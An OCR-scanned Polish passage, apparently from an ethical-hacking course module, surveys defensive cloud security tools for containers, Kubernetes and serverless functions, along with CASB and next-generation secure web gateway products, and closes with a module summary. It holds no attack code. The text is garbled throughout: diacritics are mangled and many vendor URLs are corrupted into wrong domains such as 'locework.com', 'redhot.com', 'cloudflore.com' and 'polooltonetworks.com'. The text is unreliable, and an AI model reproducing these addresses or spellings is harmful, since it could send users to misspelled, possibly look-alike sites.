Narzedzia bezpieczenstwa konteneréw

Poniewaz kontenery sg stale wdrazane w srodowiskach chmurowych, muszg by¢ chronione przy uzyciu
wyzszych standardéw bezpieczenstwa. Specjalisci ds. bezpieczenistwa uzywajg narzedzi, takich jak
Aqua, Sysdig Falco, Anchore, NeuVector i Lacework, aby chroni¢ kontenery przed réznymi
naruszeniami bezpieczerstwa.



Aqua

Aqua skanuje obrazy kontenerédw, maszyny wirtualne i funkcje bezserwerowe pod katem znanych luk
w zabezpieczeniach, osadzonych tajemnic, probleméw z konfiguracjg i uprawnieniami, ztosliwego
oprogramowania i licencji typu open source. To narzedzie ogranicza uruchamianie niezaufanego kodu
i zapewnia niezmiennos¢ funkcji, konteneréw i maszyn wirtualnych, zapobiegajgc w ten sposdb
jakimkolwiek zmianom w uruchomionych obcigzeniach w poréwnaniu z ich oryginalnymi obrazami.
Aqua mozna réwniez zintegrowac z istniejgcy infrastrukturg, utatwiajagc w ten sposdb zarzadzanie
wspotpracg DevSecOps, rejestrowaniem i raportowaniem, reagowaniem na incydenty i
monitorowaniem zdarzen.

Sysdig Falco (https://sysdig.com)

Anchore (https://anchore.com)

NeuVector ( https://neuvector.com)

Lacework ( https://www.locework.com)

Tenable.io Container Security ( https://www.tenoble.com)
Narzedzia bezpieczenstwa Kubernetes

Poniewaz Kubernetes jest de facto narzedziem do wdrazania i zarzadzania kontenerami, jego
obcigzenia muszg by¢ regularnie monitorowane i zabezpieczane za pomocg odpowiednich
implementacji zabezpieczen. Specjalisci ds. bezpieczenstwa uzywajg narzedzi, takich jak Kube-bench,
Alcide Advisor i Advanced Cluster Security for Kubernetes, aby zabezpieczy¢ srodowisko Kubernetes.

Kube-bench

Kube-bench to aplikacja Go uzywana do sprawdzania, czy Kubernetes jest bezpiecznie wdrozony,
poprzez przeprowadzanie kontroli zgodnie z dokumentacjg poréwnawczg Kubernetes centrum
bezpieczenstwa internetowego. Wykonuje kontrole uprawnien, uwierzytelniania i bezpieczenstwa w
klastrach Kubernetes oraz zabezpiecza dane kontenerdéw.

Ponizej wymienione sg dodatkowe narzedzia zapewniajgce bezpieczenstwo srodowiska Kubernetes:
Alcide Advisor (https://www.olcide.io )

Advanced Cluster Security for Kubernetes ( https://www.redhot.com)

Aqua Kubernetes Security ( https://www.oquosec.com)

KubeXray (https://github.com)

Sumo Logic ( https://www.sumologic.com)

Bezserwerowe rozwigzania zabezpieczajace aplikacje

Bezserwerowe przetwarzanie w chmurze odnotowato ogromny wzrost w ciggu ostatnich kilku lat.
Jednak rozwijajgca sie infrastruktura oparta na chmurze wigze sie rowniez z réznymi zagrozeniami
bezpieczenstwa, takimi jak wstrzykiwanie danych o zdarzeniach funkcji, nieudane uwierzytelnianie i
nadmiernie uprzywilejowane uprawnienia do funkcji. Dlatego obowigzkowe jest przeprowadzanie
kontroli bezpieczeristwa w regularnych odstepach czasu. Specjalisci ds. bezpieczenstwa uzywajg
réznych narzedzi, takich jak CloudGuard, Synk i Aqua Security for Serverless Functions (FaaS), do
przeprowadzania testéw bezpieczenstwa infrastruktury bezserwerowej.



CloudGuard

CloudGuard to kompleksowe rozwigzanie zabezpieczajace dla aplikacji bezserwerowych. Zapewnia
automatyczng ochrone najnizszych uprawnien dla funkcji, dziennikéw i baz danych. Dzieki
wbudowanym mechanizmom analizy maszynowej i algorytmom gtebokiego uczenia CloudGuard
tworzy model normalnego zachowania aplikacji i funkcji, aby z wyprzedzeniem wykrywad i blokowac
ataki w warstwie aplikacji.

Ponizej wymieniono dodatkowe narzedzia do zabezpieczania bezserwerowego srodowiska
komputerowego:

Synk ( https://snyk.io)

Aqua Security for Serverless Functions (FaaS) ( https://www.oquosec.com)
Prisma Cloud ( https://www.polooltonetworks.com)

Dashbird (https://doshbird.io )

Thundra (htips://www.thundro.io)

Broker zabezpieczen dostepu do chmury (CASB)

Brokerzy bezpieczenstwa dostepu do chmury (CASB) to rozwigzania lokalne lub hostowane w chmurze.
Oni sg odpowiedzialni za egzekwowanie zasad bezpieczeristwa, zgodnosci i tadu w aplikacjach w
chmurze. CASB znajduje sie pomiedzy infrastrukturg lokalng organizacji a infrastrukturg dostawcy
chmury. Petni role straznika, ktéry umozliwia organizacjom rozszerzenie polityki bezpieczenstwa poza
wiasng infrastrukture.

Cechy CASB
Wglad w wykorzystanie chmury

Wyszukuje ukryte ustugi IT w chmurze i zapewnia wglad w dziatania uzytkownikéw za pomoca
dozwolonych aplikacji w chmurze.

Ochrona danych

Wymusza szyfrowanie bezpieczenstwa skoncentrowane na danych, tokenizacje, kontrole dostepu i
zarzadzanie prawami do informacji.

Ochrona przed zagrozeniami

Wykrywa i reaguje na ztosliwe zagrozenia wewnetrzne, zagrozenia uzytkownikéw uprzywilejowanych
i przejete konta.

Zgodnos¢

Wykrywa krytyczne dane w chmurze i egzekwuje zasady DLP w celu spetnienia wymagan dotyczacych
przechowywania danych i zgodnosci.

CASB oferuje:

e Zapory ogniowe do identyfikowania ztosliwego oprogramowania, zapobiegajgc w ten sposéb
przedostawaniu sie ztosliwego oprogramowania do sieci firmowej.



e Uwierzytelnianie poswiadczen uzytkownika, gwarantujgce, ze tylko uprawnieni uzytkownicy maja
dostep do wymaganych zasobdéw organizacyjnych.

e WAF, aby zapobiec naruszeniu bezpieczeristwa przez ztosliwe oprogramowanie na poziomie aplikacji
zamiast na poziomie sieci.

*DLP uniemozliwia uzytkownikom przesytanie krytycznych informacji poza organizacje.
Jak dziataja CASB:

CASB pracuje wg zapewnienie zgodnosci ruchu sieciowego miedzy urzgdzeniami lokalnymi a dostawcg
chmury z zasadami bezpieczenstwa organizacji.

Zapewnia wglagd w korzystanie z aplikacji w chmurze na rdinych platformach chmurowych i
identyfikuje nieusankcjonowane uzycie.

Uzywa automatycznego wykrywania do identyfikacji

o Uzywane aplikacje w chmurze

o Aplikacje wysokiego ryzyka

o Uzytkownicy wysokiego ryzyka

Egzekwowanie réznych zabezpieczen dostepu, takich jak szyfrowanie i profilowanie urzadzen.
Rozwigzania CASB

Forcepoint CASB

Forcepoint CASB zapewnia petne bezpieczenstwo dla wszystkich aplikacji chmurowych. Jego kluczowe
funkcje obejmujg wykrywanie aplikacji w chmurze, ocene ryzyka aplikacji w chmurze, klasyfikacje
danych, zarzadzanie uzytkownikami i aplikacjami, monitorowanie/analize aktywnosci w czasie
rzeczywistym, automatyczne wykrywanie anomalii, zapobieganie utracie danych oraz integracje z
rozwigzaniami innych firm.

Dodatkowe rozwigzania CASB obejmuja:

CloudCodes (https://www.cloudcodes.com)

Cisco Cloudlock (https://www.cisco.com)

Bitglass Cloud Security (https://www.bitgtass.com)
Microsoft Cloud App Security (https://www.microsoft.com)
FortiCASB (https://www.fortinet.com)

Bezpieczna brama internetowa nowej generacji (NG SWG)

NG SWG to oparte na chmurze rozwigzanie bezpieczenistwa, ktdre chroni sie¢ organizacji przed
zagrozeniami opartymi na chmurze, infekcjami ztosliwym oprogramowaniem i kradzieza danych
online. Umozliwia takze klientom bezpieczny dostep do ustug w chmurze. Z wyprzedzeniem wykrywa
zagrozenia w chmurze, nadaje im priorytety na podstawie ich ryzyka i zarzgdza aplikacjami uzywanymi
przez réoznych uzytkownikéw i klientéw. Ponizej przedstawiono niektére z jego nowoczesnych
mozliwosci i funkcji widocznosci w chmurze.

Filtrowanie adresow URL



Odszyfrowywanie certyfikatu (TLS/SSL).
Operacje CASB, takie jak identyfikacja, deszyfrowanie, analiza i zabezpieczanie ruchu

Zaawansowana ochrona przed zagrozeniami (ATP) wraz z piaskownicg i wykrywaniem anomalii
zorientowanych na uczenie maszynowe (ML).

Obstuga zapobiegania utracie danych (DLP) dla ruchu internetowego i aplikacji w chmurze
Jakosciowe konteksty metadanych do inspekgcji sieci i raportowania

Oto niektére rozwigzania NG SWG:

Netskope Next Gen Secure Web Gateway ( https://www.netskope.com)

Cloudflare Gateway ( https://www.cloudflore.com)

Quantum Next Generation Firewall Security Gateways ( https://www.checkpoint.com)
Podsumowanie modutu

W tym module przedstawilismy koncepcje przetwarzania w chmurze oraz réine rodzaje ustug
przetwarzania w chmurze. OmoéwiliSmy réwniez technologie konteneréw i bezserwerowe srodowisko
obliczeniowe. W petni zbadalismy zagrozenia i ataki zwigzane z przetwarzaniem w chmurze oraz
techniki hakowania w chmurze. Ponadto dokonali$my przegladu réznych srodkdéw zaradczych, ktére
nalezy zastosowac w celu ochrony srodowiska chmury przed prébami wtaman hakerskich. Na koniec
zakonczyliSmy ten modut szczegdétowag dyskusjag na temat narzedzi i technik bezpieczenstwa w
chmurze. W nastepnym module obszernie oméwimy, w jaki sposdb osoby atakujgce, a takze etyczni
hakerzy i testerzy uzywajg kryptografii do ochrony danych.



